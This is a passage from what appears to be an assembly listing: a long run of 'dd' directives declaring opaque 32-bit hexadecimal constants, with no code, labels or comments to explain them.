56FA02B7h dd 4D975EFBh, 0B11941F9h, 59742EDh, 53A5BF20h, 0CA334AE9h dd 0A63122EEh, 0BF1A955Ch, 78FFB6C0h, 2D23C23Ah, 0C1966DE1h dd 2BF8A535h, 8845D728h, 9A8913E9h, 0E2A396F8h, 0DC5F005Eh dd 0F333B286h, 0D82838C9h, 0F54CD99Fh, 889C129Eh, 3788BFB2h dd 547DC2AFh, 8F15195h, 89605DF8h, 41BD11BCh, 0B10503F1h dd 92172A4Ah, 76E0EAA6h, 3401538Ah, 6630C2DBh, 33A35B3h dd 0FDD942Dh, 0CE5BF8FCh, 804AF045h, 5E1CBBAAh, 690F3425h dd 0B2156BADh, 8DAC2EC3h, 49EBC800h, 123050D7h, 228E0F44h dd 7089E8C1h, 197B9E00h, 9F00A494h, 0E9F098FBh, 4FC8D7Ch dd 30881A20h, 5F99C22Ch, 25BBD4F9h, 97D566FBh, 0F5021437h dd 0F8F87080h, 96E4B25Eh, 0AB00DCD5h, 0BB91E5C1h, 12140EE4h dd 0B7FE8A52h, 4EABA0D4h, 3F30BADh, 0C385566Ch, 0C4C3F3A9h dd 10A8EAB3h, 8B0F600Eh, 0FE64BA12h, 0A381ABEh, 0EF018F66h dd 0BB55E828h, 8D6AE0F1h, 9527E4E5h, 4A57D735h, 0F72515ECh dd 0D22C58F9h, 0FF3A9560h, 547C009Ah, 877FB406h, 2F310C37h dd 0D59D504Ch, 0B0782775h, 0B81DADD2h, 39EE12EDh, 4EF1B396h dd 0EC85E49Bh, 12E0F8B8h, 5D5F81E9h, 7D08B024h, 0BC5F1908h dd 2A123E09h, 0E65A10B3h, 1ACDE084h, 0A90601F3h, 0DF0AD381h dd 0A2043EA6h, 0AB8D1F7h, 0C034DE5Bh, 10DC31B9h, 0B5891364h dd 0A8A28469h, 4E09D2FEh, 27DB59FAh, 887B1E5Bh, 26A75FDh dd 930976ACh, 9682605Ah, 890126CDh, 5D2E75BDh, 0CC06D713h dd 0C30481CFh, 6850A48Ah, 5A59E699h, 0A0A0162Ah, 0EC31D2B8h dd 1CD1C8CEh, 664155ADh, 2676CFEh, 0AB2278BFh, 6B7B5602h dd 96729FEh, 570C5DC2h, 840027ECh, 0BBC9F42Fh, 0F2D875h dd 30983BCDh, 329B681Ch, 0B337ED06h, 1E668113h, 6CF23164h dd 0D72D0902h, 0ADA04D59h, 0C496DB6Fh, 22D576CAh, 0E4C90E9Bh dd 0D8BFBE82h, 7FF510D5h, 93D00BE7h, 87F030B3h, 482BA6A5h dd 0DD1558h, 138DBDFAh, 0CBD16008h, 656E615Fh, 0BC710713h dd 695B80ECh, 8C1F3ABh, 60D9D29h, 0A0CBCA3Dh, 436E5Ah dd 0E471F77h, 4B76C0FAh, 0D8DB0C5h, 46C5F982h, 60483D33h dd 7407B8Dh, 8FDB0780h, 93EE961h, 0F4A45Ch, 53D47DBAh dd 0BD1A0F5Eh, 70BE9D95h, 7C17CF80h, 11CC810Fh, 0CAF34A2Dh dd 25493099h, 53D9B529h, 36C4B32Bh, 0AC7ABB04h, 4F7A097Eh dd 0DD53341Eh, 21191559h, 9D352A84h, 8202DAA0h, 2384B8F9h dd 0F7D421BDh, 0F6D362A9h, 88BDA3EAh, 82D4E6h, 96F9C4BCh dd 2BECA8BFh, 1050382Fh, 0B72D7h, 0A75965A0h, 0A95D15B5h dd 259A8E00h, 0DE33AF62h, 0B77173Dh, 815B9B96h, 2D9941Ch dd 0F4798E71h, 0C36BBB82h, 6B9A3C58h, 91623595h, 3CA58018h dd 0B9823AC6h, 0B4138009h, 0B696DE2Ah, 143EEA0Fh, 355CC791h dd 3B0C447Bh, 4A00A2B4h, 0D5F1F6B6h, 4E02766Bh, 60199FD2h dd 60D5B2F8h, 2757EF04h, 8ED18991h, 0AC6A4625h, 1A0EB565h dd 6572B332h, 61A141F6h, 0B6D2B228h, 394CE058h, 51AD0B54h dd 5D0BF23Ch, 0DB503A7Ch, 461500F4h, 5B376C72h, 29E85636h dd 5F609550h, 9988195h, 9E62658Dh, 0E6205013h, 481EE00Bh dd 0E29B3F3Ch, 0F320A217h, 4DDE50EAh, 0D9128291h, 0EF5986B3h dd 0F881C867h, 110ABE81h, 0A4547CB1h, 0C95BD3A5h, 0B30E70C1h dd 0A7E3FCA5h, 711F2717h, 534CE78Dh, 0ED9D2D89h, 22B6B4D2h dd 0C1AC4D4Bh, 7550B217h, 0D56E2A13h, 14408A01h, 552B5F03h dd 0BCC1A954h, 9D469813h, 0B8547CEAh, 0B80ABFC1h, 86B9282Bh dd 27F6359Eh, 73101F49h, 1E003C9Dh, 0A63E6C0Bh, 3B03E7C8h dd 2100D9C0h, 4731F214h, 78BC96E0h, 981A5569h, 500E997Fh dd 7CF963h, 0D5F7903Ch, 9FB4AEBBh, 965F3E13h, 59E075B6h dd 10E811A5h, 0F8018571h, 3DD1CB81h, 192140DEh, 2FEF292Eh dd 92005F6Ah, 38D464E4h, 11258509h, 9EFD6E06h, 0EC25DCCBh dd 25AFCEF9h, 17CCB6CBh, 1D254790h, 0AD972203h, 711D5C1Ch dd 0BFC115Dh, 1D25C1F9h, 0F9E4752Ah, 0A402A9F3h, 9A1BDFE5h dd 5099410h, 0D7E1A589h, 0B3602EC6h, 764E92h, 0FF4786ABh dd 0F2692041h, 0F4783400h, 8B15F750h, 12BD209Dh, 0FFCF5F4Ah dd 808A9A5Fh, 92CB96FDh, 0B01E02F3h, 8EE9B314h, 0ED2FF956h dd 0D05FC7F2h, 9F0D283Ah, 1BE6AA12h, 0C1252CC7h, 0E9E008E6h dd 5E0BACB2h, 0D9140152h, 0EF803DE6h, 0AFD51D58h, 0C1012CECh dd 49381060h, 312E92F6h, 0DE895131h, 96A890DEh, 0A9261FEh dd 77B79004h, 7FFD6050h, 3FEDD620h, 8092661Dh, 1089D632h dd 0F0A29061h, 0DCD23DDAh, 3EE000A6h, 35B78434h, 871D1140h dd 65E0A0A4h, 2D9A4BB5h, 68D0FBF0h, 0E556A20h, 67DC1EBFh dd 4052E132h, 512971A2h, 0B9FE7E60h, 0EC56BBC2h, 0C0209761h dd 0DF32D381h, 43ADEF95h, 3A5A7383h, 96097F6Eh, 4D712CEEh dd 2309EAA4h, 8F117119h, 0BD436053h, 250430D1h, 28CAD981h dd 0B47CF8F8h, 0D624DCE6h, 41000799h, 2982FB59h, 1E149714h dd 4CB6764Ah, 96229A4Bh, 0B89D61B0h, 2E19205Ah, 0C610504Eh dd 0AA574EC4h, 53C05ED7h, 1DA27EA8h, 47C9F1C2h, 0A1EB59D1h dd 0F16CEF46h, 11CA2A58h, 10D834A3h, 80C9C1DCh, 0E94182D8h dd 45840E06h, 0B21DB80Eh, 7C374274h, 0EA04DE10h, 3D1ED6DEh dd 891ED4E2h, 31A0053h, 0B935A505h, 0CD2A1A97h, 13E0E91Ah dd 8E48B9F3h, 9EB7127Eh, 0C0E27B25h, 0F35C0C00h, 312BBDA0h dd 46113E09h, 2D2A73B6h, 0B5C0046Dh, 267646D1h, 60687733h dd 74E3328Ch, 0B54239h, 0F3E4BF2Ch, 4B5F1EA8h, 0BB52989Ch dd 0E4A93509h, 5EBAD512h, 8B5089D3h, 9077321h, 0E8D79334h dd 0ECF0276Bh, 0CA0055E1h, 0B797E517h, 92DFAEDh, 9C7F83B5h dd 0C042C600h, 0FF1C6A5Fh, 13FFD98Bh, 7CBD1605h, 0EA00CBE8h dd 9997B771h, 9F5FEDDAh, 0B1956446h, 0E8120DA9h, 0EE58A190h dd 387EFE00h, 640DB737h, 8CC2025Fh, 6033DC1Ah, 0E1085F6h dd 0E1F48004h, 8D4A8161h, 0B0EA24E9h, 8C22F398h, 699DFC06h dd 5B5CD361h, 8270E609h, 9206D37h, 25501088h, 2E80DA62h dd 0B42F50C6h, 8261733Bh, 99CE6FD7h, 91CC5C28h, 0C1FC25AFh dd 368156BAh, 5BA729F7h, 80B32FF8h, 0C2AEC128h, 0CBC5CF20h dd 3302B25Ch, 1A20A59Dh, 2B03EBFEh, 96D18BC8h, 0E93240BAh dd 1E39495h, 0A6B6FA8Ch, 711897F0h, 0CAD52F7Fh, 16C09EBh dd 0FC25AC71h, 0D65E28Dh, 78190F8Eh, 0B1482EDFh, 0AD34B517h dd 34E984E9h, 8C4A80A2h dd 0F995FE82h, 0E2F99256h, 101B22A4h, 1175CB80h, 3A6625A1h dd 5D8390D8h, 0CCFF6825h, 82D2F88Dh, 1FDAC301h, 57C06EEBh dd 71A183BBh, 3E6E956Ch, 41074D9Fh, 20D2CF60h, 0C88B0555h dd 135F50F5h, 52ECB961h, 28566F66h, 0CCEAFC58h, 8316D07Dh dd 686FFCE1h, 0F5BA0D00h, 3D2A4D92h, 8A47AB0Bh, 70197BFCh dd 370075A8h, 4EA4A5EAh, 4A2BA990h, 19A682C0h, 0C325BA05h dd 0BFA1001h, 0B3258D9Dh, 23623C2Bh, 68ED9D2Dh, 9AF9BDA9h dd 781FB36Ch, 0CD4BD0A1h, 708018FCh, 0D5C9E688h, 32D2B312h dd 0C100EAF2h, 79111BFFh, 72126838h, 48E13F0Eh, 80F6DE3Eh dd 0D992E96Eh, 0BFB80260h, 18B6AD7Bh, 0AEBE9479h, 4A38630Fh dd 0FC7073A6h, 4E7D12C4h, 2553018Fh, 0D438AAF1h, 0C8B75AD0h dd 42399574h, 66DD4A2Fh, 0D0A8C039h, 76F42605h, 0FED08AC1h dd 9727AADBh, 0E2AD6E15h, 5084DF91h, 0C3D8BA0Bh, 0FAD33971h dd 0DF073503h, 5097021Dh, 67835DB7h, 2AB2270Bh, 8916582Ch dd 282E5FFDh, 4FD6716Dh, 84B806EDh, 37918F02h, 0D0424EE6h dd 8A0640D7h, 61B3FD4Ah, 12311A64h, 0C26A67EAh, 59092791h dd 0FD6DAFA9h, 0E1FFF4C0h, 91BD4B89h, 0C9950900h, 84CE2A17h dd 0EA03D512h, 3A00F97Ah, 0C1736184h, 1497C41Dh, 9F03F8B3h dd 0E4097EBDh, 44CD71D5h, 0C7814361h, 54CAC131h, 0C1680D2Ah dd 0B2162BF3h, 47E0CFE6h, 37023A1Dh, 0BD2960C9h, 84AF111h dd 611216F9h, 4D43AAE1h, 0A9B9DCD8h, 0A51A172Eh, 0AE00F1B7h dd 36BF7DF1h, 35CF25CEh, 0A53B745Bh, 0BB9DCEDFh, 7FC5500Eh dd 7DCAE09h, 37C3231Ch, 0FC56EA15h, 240442F0h, 0DC3456h dd 45FB4AFFh, 7F8693F5h, 5C48B969h, 203101Fh, 173DD68h dd 11E589DEh, 332E6091h, 0C69D517Ah, 221C886Ch, 10ED1D90h dd 9E8289h, 0C4C75C7h, 20466332h, 0E42EC400h, 53170830h dd 9DA24A33h, 0F9A2AB7h, 846EFC83h, 70BE7FA9h, 3141E1E2h dd 8265352Bh, 387F12E6h, 1B2DB5Eh, 0B40CEEB6h, 4807453Dh dd 6F49E9AEh, 0F5275011h, 558B2D4Bh, 823B9A5Ah, 5CC7B303h dd 17476A49h, 0CF3FA912h, 0DE7480D8h, 247C9B8h, 627B5788h dd 42601035h, 3A9713DDh, 8C37D541h, 97A0CD00h, 97EA3EC8h dd 1605F18h, 254B7DEEh, 812E3589h, 227E9C9Ch, 0B4E75E78h dd 6ADF1EA0h, 67BE4E03h, 173E88B8h, 0B60851D8h, 0E0AD006Dh dd 5533BCDFh, 28CB00D4h, 2FA3C254h, 75139CDDh, 0A1130693h dd 975BE2F4h, 0BB667000h, 50026CBAh, 3B9C62BFh, 4B56F041h dd 60658DF5h, 3240E147h, 0F8D40968h, 69278FB7h, 7067F32Bh dd 0E9EBF80Eh, 86BFA05Bh, 95858D06h, 3806A43Fh, 20BA6028h dd 0B50F30DDh, 7F9061FFh, 4BB86602h, 0CB3074D2h, 1111A77Ch dd 0A7E10E0Ch, 6300308Ah, 671F57BCh, 0C174003h, 9091D65Bh dd 0CA24CFBAh, 31C1B38Dh, 522FC985h, 0E0ECF622h, 19C14A6Dh dd 0ECDE8B52h, 0E5D46A85h, 60B045ACh, 2C09D181h, 8208721Ch dd 550655D6h, 4670E61Eh, 0D089F39Dh, 0F1FE8726h, 83019B04h dd 0E78256ABh, 0F6E07E37h, 3D3A2EE5h, 0A7382E4h, 122F12Bh dd 68493202h, 95EB20ADh, 318027F8h, 527EF58Dh, 8D4EB28Eh dd 6F3A4208h, 8A8D00B0h, 0CC8F8998h, 95312E58h, 0B0E71234h dd 50521897h, 4CFC4FDh, 4169B7E4h, 0C2F96C2Ch, 55DABF0Fh dd 1B91DD35h, 9E02A480h, 41170747h, 0FFB08698h, 801C41D9h dd 2961F766h, 972EB9B5h, 45D46E3Ah, 27E35340h, 924F003Eh dd 6629F4CFh, 3ACA982Ah, 5F96ADF1h, 32017DA2h, 0E4A40B56h dd 8B742E46h, 0E2C6ABBh, 8ECE6814h, 1099B4E7h, 12482229h dd 3D0918C0h, 4B7A7A08h, 255EC900h, 67E3136Eh, 0A1F412C7h dd 70D18896h, 0F894FD00h, 3FDCC686h, 0EF3D0006h, 8EB6121Dh dd 0B417F2E9h, 7F8D510Bh, 0BB3F007Eh, 83730F8h, 0C3E0964Eh dd 0B558212h, 59EAF3D0h, 40181Ch, 30216A68h, 0BEE45C0Fh dd 0C6DA8B25h, 291F98B1h, 4AD6032Dh, 387CDEF8h, 97D2F338h dd 4FB01E70h, 8D5B4BFAh, 0B8846D8Bh, 0F5382594h, 16BC9FC4h dd 0E2512DEh, 0DA505E8h, 9809BEF3h, 6BC17107h, 390B0EB5h dd 9D9100D0h, 966AB96h, 0EDBD0334h, 0C283E960h, 7836539Fh dd 0ED04FE4Fh, 15818D29h, 0CC3FE012h, 0CF84CB4Bh, 5CB825ADh dd 2208ABA0h, 0BF8D4D4Bh, 80A0DB3Fh, 27A1C94Ah, 9574041Ch dd 0C10B6797h, 409319Ch, 7A4EDAADh, 316B06E6h, 0B05145BDh dd 0A2A497B5h, 0F14AB66Ah, 7F709DD7h, 0D211B095h, 0B2E5A64Ch dd 0B0403016h, 0FDE1064Bh, 81C02578h, 6242B3DBh, 73F96C4Ah dd 65A5BB3Eh, 197104D8h, 0B2038020h, 0E0C4ADBBh, 118D89BCh dd 3597C29Ah, 801C9112h, 7FDC06ACh, 89830B3Fh, 931869B0h dd 0DF041BBDh, 0FA8AD1C1h, 0E1D320BCh, 1F282E41h, 20138B3Fh dd 7E07FCFAh, 83E250F8h, 7F0E8908h, 45C1A792h, 0A66E6F96h dd 0B37C0707h, 300CF6Bh, 0EA96F781h, 8B67E829h, 403CED4Bh dd 0B5D2BC70h, 4FF38012h, 4E49D4E7h, 1D2F3DACh, 0D0E4E228h dd 71019BA7h, 91A1817h, 6015C6C1h, 1910E07Ch, 0B261F513h dd 99277F8Eh, 0C0C17EC8h, 0D34E799Fh, 4D228C90h, 1709972Dh dd 283DDDh, 78B14A3Dh, 95B89F4Bh, 0CB60BAB1h, 5FDE3FE4h dd 0D74B2011h, 4400E27Bh, 0A54AE936h, 1291DC4h, 0FB41683Dh dd 0E371E381h, 2F5F46D1h, 0CF2E5729h, 0C016C871h, 0F99BD561h dd 0ED9D2B09h, 92757B0Dh, 0D96522C6h, 0B592B5Eh, 8016C970h dd 899708E9h, 0C3D86D0Dh, 27F12A5Ah, 0C18BF4C9h, 0C0EB6D95h dd 0B833B187h, 0B08D4FCh, 2512F1BDh, 5038F866h, 22C8CA60h dd 0FC8800B6h, 81CDB06Dh, 0BF04270Fh, 0ACE9844h, 4166BF8h dd 0E09CA624h, 0B985A8Bh, 41560839h, 4BC16A42h, 0E2CB7581h dd 8252B757h, 0CC146BE3h, 2795ADE0h, 4BC0DBD2h, 0CF5F9392h dd 243E15F4h, 0B028F4DAh, 0B54BDC18h, 25DB9F8Ch, 14E1CF27h dd 0DB5AFA29h, 0B42F90B7h, 155A0E86h, 9941FECCh, 2AE40471h dd 0C601BAA6h, 5BF98B89h, 5D983B50h, 0C4FE2ABBh, 0DCB7B7BBh dd 0BF2B313h, 150AC107h, 992DC03Ch, 1165BE70h, 6AA5857Ch dd 590D9034h, 15FCB62Ch, 0B32EAA7Fh, 0D50A8DCBh, 891E2827h dd 4AF97115h, 0FB49A5B7h, 29E03FADh, 0BC5C12C7h, 0CF29B09Eh dd 0BF20DE00h, 64C2EAD8h, 82989761h, 8C0446BBh, 0D1FF542Ah dd 0C02B9BBEh, 0F6EBEFDBh, 0C64019Ch, 9D29E62Ah, 4B902CBDh dd 0A32F7E8Ah, 0F380CB3Dh, 0FDD6EFD0h, 8B3305EAh, 0E6026AFEh dd 0BC72E073h, 82C60B54h, 4EA2E146h, 4CE2DA8Ah, 1125B555h dd 0FB8D8914h, 1817599Bh, 372109DBh, 4851F5F6h, 0F2CF0038h dd 6719EC2Ah, 951CFA6Dh, 1F12C8C7h, 26FF253h, 5AD35102h dd 1E7ED88Bh, 269E00DCh, 4E1FA8FAh, 9BDE119h, 2506D4E9h dd 359FC6CEh, 0FB5B001Bh, 80333754h, 8A49E709h, 0AF7FD1DEh dd 0F12567B7h, 0A82E9681h, 772220DBh, 0C49C9F0Fh, 994B8242h dd 10D90CF2h, 921C46F6h, 3452FB60h, 9B4ECAF3h, 23ECC272h dd 69E35E83h, 218D2602h, 0D3D96A07h, 0B31E78E0h, 85ED6D25h dd 0E6E8DEB6h, 30CB55Fh, 0AF848D8Ah, 842B5528h, 9A5BD12h dd 2818CF4h, 3A71CF3h, 82D5E673h, 120B4DFEh, 0A5BC6E5Ch dd 136EC01h, 0EE434644h, 6BD66AB7h, 47D90188h, 31601F07h dd 73AB7516h, 0DFD82C53h, 0E8005CB3h, 9782D179h, 4A4937BAh dd 8E48F061h, 8442EBA6h, 2585090Eh, 984EBC32h, 9426F5D6h dd 0F1F992F1h, 7BFCC9Fh dd 0A0C2654Bh, 0DA25EFEh, 893FB1BDh, 0D40E550Ch, 0E8BBC0D4h dd 535C7156h, 0EEF55BABh, 0D2319B60h, 4CA1E1C5h, 2C07BD22h dd 0E045FCA0h, 920DACFh, 0AB404B6h, 0AB048909h, 5C32AF09h dd 0DF81100Eh, 0E9BFF80Ah, 933B0A57h, 34EEE07Eh, 7A9D3008h dd 0A100DF3Bh, 0D892AEDDh, 25EE7599h, 57797F51h, 0B395BB40h dd 0C8434E86h, 8E00BF83h, 0F06A0150h, 652F68ABh, 0FA59288h dd 0B5E7FE36h, 7ABFDD85h, 9BB7288h, 2509CF35h, 0C508CA7Bh dd 512C32DEh, 0F4BD7C2Bh, 105EFA04h, 0E5BD68D6h, 8270DAD6h dd 577D584Fh, 93A64A2h, 4026CF7Dh, 9C56ED9Bh, 0A56AC402h dd 0FF2A1F24h, 122E9204h, 0FD01E6E1h, 79070725h, 3A702973h dd 0B8D9278Ah, 1DE44BC7h, 0A76ABE60h, 5EDCC48h, 14E77DAh dd 0C99F81AEh, 0BA5B0108h, 963D5FC2h, 1236780h, 9D090D85h dd 0B7BD0536h, 2DDA001Ch, 8451C515h, 37E7F62Dh, 4FCE0084h dd 0B5419A22h, 2E388F09h, 0DE1582F9h, 20FBE123h, 5A10BC04h dd 0EFA40FA7h, 42A3ECDh, 0AFD1B73Fh, 42D5671h, 0F781010Ah dd 5F440AE1h, 4CF2B2Fh, 14498D01h, 25C3EFA4h, 0B2E56CAFh dd 0C0DE6817h, 233362C0h, 1A777D78h, 0B5315304h, 64BA0BD1h dd 691AC1A4h, 0A5702F0Eh, 3A09FFBFh, 0E12D671Bh, 1EC066CDh dd 4DDC589h, 6728C46Ah, 4B2EF872h, 72FA98Ah, 698D38A2h dd 0C525D0DCh, 2761398Dh, 2F5BF956h, 88C97328h, 8B660F8h dd 0C4C84BDCh, 0DCF1DB84h, 33B600FEh, 3D8D0937h, 13EC971Bh dd 8AE67B00h, 0B99C4123h, 0B3250035h, 7C74E5A2h, 0E8953AEEh dd 21697D3Bh, 2511066Dh, 0FB12663Fh, 4EFBB3BFh, 978017DBh dd 0DAC40C1Eh, 5453AA09h, 9DFE48Fh, 93F4A973h, 36CF3875h dd 0A7BA97EDh, 0AF513A73h, 4301BC0h, 0B350E1B9h, 332BA1FBh dd 0E8F50090h, 0CDCB5798h, 905E0F7Ah, 922D3D99h, 0B84F2D72h dd 973CB82Ch, 6F685AC8h, 7C60E412h, 903D7BACh, 22C87FBBh dd 0E88BB34Ch, 0CE222998h, 5FE6B505h, 6BCC810Fh, 8D128683h dd 1BD0191h, 0C0C1BCD3h, 0D814DEBFh, 8892977Fh, 3700E03Dh dd 2D0C3D25h, 55A10167h, 0E94BB70Ah, 0C1486AB5h, 0BAE08007h dd 0E3BD284Ah, 0A109E95Bh, 55F55C5Bh, 0C9A95E07h, 0C2583E60h dd 2A85207Fh, 1B62D711h, 258C15B8h, 0ABE62BC6h, 0A9A4BE90h dd 64EF6D95h, 83CC6319h, 8AAC895Eh, 16B1AB20h, 0A806897Bh dd 2A135538h, 458ADCD8h, 0ABECDB0Ah, 0AAE82831h, 0A476182Fh dd 96810179h, 1764F8F7h, 1FA0D059h, 0CAD9107h, 0B7A0303Dh dd 1C17437Ch, 3BE35250h, 5F77C25Bh, 78965B02h, 0F62B419Dh dd 5C90125Dh, 55246CA0h, 436800E1h, 0DE4527C7h, 0B31FB144h dd 0BE031613h, 0E82EC002h, 4A9BB60h, 617491B5h, 1B6BC5Fh dd 21D93CBCh, 1DF98956h, 8D5BCF89h, 46D44774h, 6FDD0516h dd 2D840F4Ch, 0D613A809h, 0D83DE085h, 0A40069AAh, 0D7E55712h dd 144BEC5Ch, 0D450BA33h, 5C6E4E13h, 0ED8DCE18h, 0B5BAE812h dd 1E8059DAh, 2A359C9Dh, 51BD0108h, 8C0F0904h, 887F719h dd 0ED951089h, 0D612930h, 9592E627h, 35AD05C7h, 3BD7050Ah dd 2CFCD25Ah, 704D1C57h, 12BD974Bh, 0D6F77B00h, 5ACF015h dd 0A1952914h, 4760BB0Ch, 0E40FC8h, 6143EF03h, 9C88D670h dd 8E113607h, 7EA08912h, 0A421E939h, 520A193h, 0EBDBB804h dd 0F6FB969Ch, 85950B36h, 71B25615h, 0CC0414B3h, 0A03C23ADh dd 6EBB27D2h, 52CD01D6h, 0DD90026Eh, 1729DCE4h, 0DD22B185h dd 0FD8492E6h, 60BED652h, 12E5EF33h, 7B048F25h, 0B59D0417h dd 0C12B2903h, 8455B7EFh, 0EC19D9Ah, 8B1D72AFh, 51434475h dd 122A9A50h, 1C56F2Dh, 0CD23B671h, 533D442h, 7AF03301h dd 706C8E63h, 0E205463Ah, 0C4C03821h, 0AE8C7C25h, 602001C2h dd 2E0DB1B9h, 0D6A0F7D3h, 7912FE43h, 3BD291Fh, 796ABFD6h dd 25B92C00h, 36A8FB0Fh, 642ECDB5h, 0F400671Ah, 25858FB8h dd 69E63DBAh, 0F949E690h, 518C4B36h, 786AFE81h, 351B4B72h dd 0AC34134Ch, 28A5A057h, 3322007Eh, 0FEF11163h, 8B97441Fh dd 4AB8F01Bh, 5AC7E632h, 0A525C56Ah, 2210EDD6h, 3DF9DD4Ah dd 2582A8BEh, 0ECC45072h, 780273B7h, 80122725h, 0EBA86AB2h dd 629288C0h, 0D4009D66h, 0E15EED33h, 194C217h, 28ADF5D7h dd 2B5BF88Ah, 1D23E56Bh, 0EDBD1A00h, 16B3C38h, 0D49E51DFh dd 0C6853160h, 501219D4h, 5BCB06FCh, 74CB8A56h, 50FAE223h dd 0A6407776h, 1F7E537h, 0B292F890h, 0EAA02DE7h, 0C7AAEEF8h dd 28A8BA79h, 85169548h, 7120FEBFh, 25804ABBh, 0B6C637E5h dd 0DCF994h, 675849C2h, 0C7FEE962h, 0D78A954Bh, 11DB332Dh dd 0A705D8h, 0FEEAF651h, 0BD0BE742h, 5081DD73h, 9DCFDA4h dd 797113D1h, 85BFB569h, 0D44B6757h, 0D6CAAC5Ch, 9C6A30B1h dd 324BE9B0h, 0E64B6E8Bh, 0A266A138h, 4BEF7A70h, 22438A77h dd 0EBBF045Eh, 0AE4F447Bh, 6AAA9874h, 11070059h, 4F9AD8CDh dd 9327173Eh, 598809B8h, 0BBC64CA5h, 0A4002A7Ah, 0D50E4830h dd 0F6126D92h, 70E28ADEh, 0C9C029D3h, 3FE90004h, 0FCC1A2F4h dd 9403DC64h, 0AC4BA77Fh, 99969961h, 0BD19806Eh, 0C189206Dh dd 0E5F09F76h, 710B325Ah, 0D08321EFh, 4E09BFBEh, 0BF818259h dd 2AD1040Ah, 7BE6E56Fh, 0F480C89Bh, 6AC6A38Bh, 0F8DE84B6h dd 0FB8F008Eh, 46BAE428h, 619DA869h, 983F166Eh, 0FD1E9CAEh dd 5E00D0E8h, 0B738FEA0h, 56EDBD6Ah, 0FE5C29E0h, 95669D52h dd 19950913h, 9800D1F5h, 0B5EB757Ch, 9F78917Bh, 0B180003Ch dd 0BCEC1FD6h, 909FD78Eh, 93987FCh, 0F7AF260Dh, 0CD97A770h dd 1E7EC0E5h, 0D81722D5h, 0BEAD9D33h, 1FB39000h, 0B525BB50h dd 0C837673Ch, 8BB54C62h, 6044766Ah, 8412CB16h, 41A6F900h dd 0D2DB6409h, 82F04E4Ah, 375F6A5Ah, 0B2E8945h, 0F7984FE6h dd 0CE1ADD25h, 0DA8A2D86h, 0B11ED5Bh, 0AE999301h, 0D46A3016h dd 0CB045E37h, 4D8529DAh, 0D12702F9h, 0EC18C6B7h, 8022E148h dd 149724B7h, 2B7A9F64h, 0DC8F9Ch, 96369BF0h, 631F339Eh dd 0EF81DD02h, 0E1415DB4h, 0C86F0275h, 30001E4Dh, 79134C62h dd 9E60871Ah, 72479Eh, 8819F784h, 0F85B4900h, 56605F61h dd 49954E23h, 68325E13h, 2BA5CCC0h, 807A6181h, 9E2ABBE1h dd 0F261CE2h, 2F3EEA31h, 97CC5232h, 0BA0073B7h, 4CCD5DD1h dd 139A2EC4h, 3F4ACA1Fh, 0BB0012A0h, 78F8230Dh, 970CC2E9h dd 86206716h, 6B659675h, 0D45EC02h, 0CCAC5204h, 0F37FDFD0h dd 120883Eh, 3E8B274Bh, 5A6A5Bh, 74A0B4D1h, 4C443BC9h dd 0A45ED0A9h, 12B65000h, 7B83D140h, 8B2C01CEh, 0D392EBDBh dd 3512FD6Dh, 18622BADh, 52BDE257h, 0E75F5A78h, 27095E2Fh dd 97FA5ADAh, 0DD0AED3h, 2BFB0230h, 8B8D2507h, 1611A854h dd 0C9DFFF3Ch, 1D1D6032h, 0DA74284Bh, 16A9A904h, 0EAA304B8h dd 4AB02338h, 70E61F30h, 71E427F9h, 0B709E3FBh, 4F0272D8h dd 495121CCh, 0BF660104h, 0B6180B6Ch, 21A51AC8h, 16003397h dd 260E8116h, 0DE4A5691h, 0F9F9DDC8h, 0DA424DA5h, 0C82BAB60h dd 0D11DC7DBh, 0D34480D1h, 0B833C58Ch, 126FD669h, 4D21BE5Dh dd 56CA97BBh, 89F501D3h, 2B0E599Dh, 11636F8Dh, 0ABDB8101h dd 2B076542h, 811CCD48h, 980A4EBBh, 0F8968630h, 151B4AE9h dd 0B8880F60h, 1D15F984h, 35EA6116h, 0CD09AF65h, 0DB31550Bh dd 518E4C26h, 0C83B1C45h, 0A5508303h, 8A4AFE21h, 71068AE1h dd 6D92D36h, 0F3471A71h dd 9B6A1288h, 9B11C08Fh, 30F5861h, 928E9F4h, 0DD01E585h dd 31D5CF81h, 752B101Fh, 814FDACCh, 800F3D10h, 0B038F5EEh dd 8C007507h, 0DB027B37h, 0E341C0h, 0D865698Dh, 0A3B9FFC2h dd 0B797BF9Ah, 587F02DDh, 825799CDh, 56FBAED0h, 7A4D27DCh dd 14CC0BC0h, 0E20E023Fh, 999D0319h, 0B303FB5Ch, 4E8E0FADh dd 8DADF0ADh, 61802FE4h, 0DC8594FCh, 93EDC60Eh, 0DAA1C0BEh dd 0C01BD4A5h, 0E821E7CCh, 2B2DFD8Ah, 0C06BEDC0h, 0D22B3AB8h dd 17F3B7B5h, 0CE0130E0h, 29005F51h, 9E5CC9EFh, 9794A8F9h dd 70A00F1Eh, 0B3810BF5h, 2CB775C6h, 0E780CF04h, 2030CDAAh dd 7EB64E51h, 0BAB7FC38h, 409ADEACh, 6BE5E399h, 8E74663Eh dd 0A06AAD0Fh, 2510238Bh, 0E3141760h, 5F84A036h, 9CCFCE95h dd 0BD5AD47Dh, 0DD0093E1h, 984583E3h, 12D14B01h, 0B603B226h dd 4A955930h, 87AFDB4Ah, 3140BE4Ch, 1EC03920h, 4904BF7Fh dd 0C4A96FF2h, 87442959h, 0DB58941h, 0AADB6B33h, 87C01988h dd 31937DF3h, 6158C54Eh, 0CA560207h, 1211D610h, 0D6D4B95Bh dd 4E56BEAh, 1DAAC45Ch, 5293883h, 0FE1FFDBh, 924B1D81h dd 0FA0B2486h, 0B4D388h, 58EC7BC9h, 0CB375C30h, 0A1127CB8h dd 48E25B46h, 3E9BF68Dh, 7BD16988h, 0E0530098h, 67C4C45h dd 7700032Ch, 0B8519181h, 4B099FC2h, 125B8A7Ah, 7AAB03EBh dd 1C2C77F0h, 6B56155h, 35BC2DABh, 57B66EFAh, 0DA82D2F0h dd 0F3D33804h, 0D2BD60F8h, 8601E3B8h, 0E91E6A4Fh, 57E033A2h dd 865F4BF9h, 8995C1A8h, 0DCFCDE70h, 0F0D7E900h, 716508FEh dd 92F54B38h, 0FC90FB8Fh, 0EDBFD8BFh, 601C6471h, 25C8487h dd 5BBD10CBh, 7B5C4524h, 33E86065h, 61D6D260h, 7109BF90h dd 5023174Dh, 97ED2552h, 12DE4CD4h, 0A81ADF0Eh, 771720E3h dd 94CCBB7h, 6804A7E4h, 7AEF320Eh, 0F10E60B8h, 0A6F2F031h dd 0F370E07Eh, 0C9ED2DF4h, 0AC00D0C4h, 49B13DC8h, 4AB45B6Dh dd 6DB29DF2h, 0E91A8F5h, 0F5395FA1h, 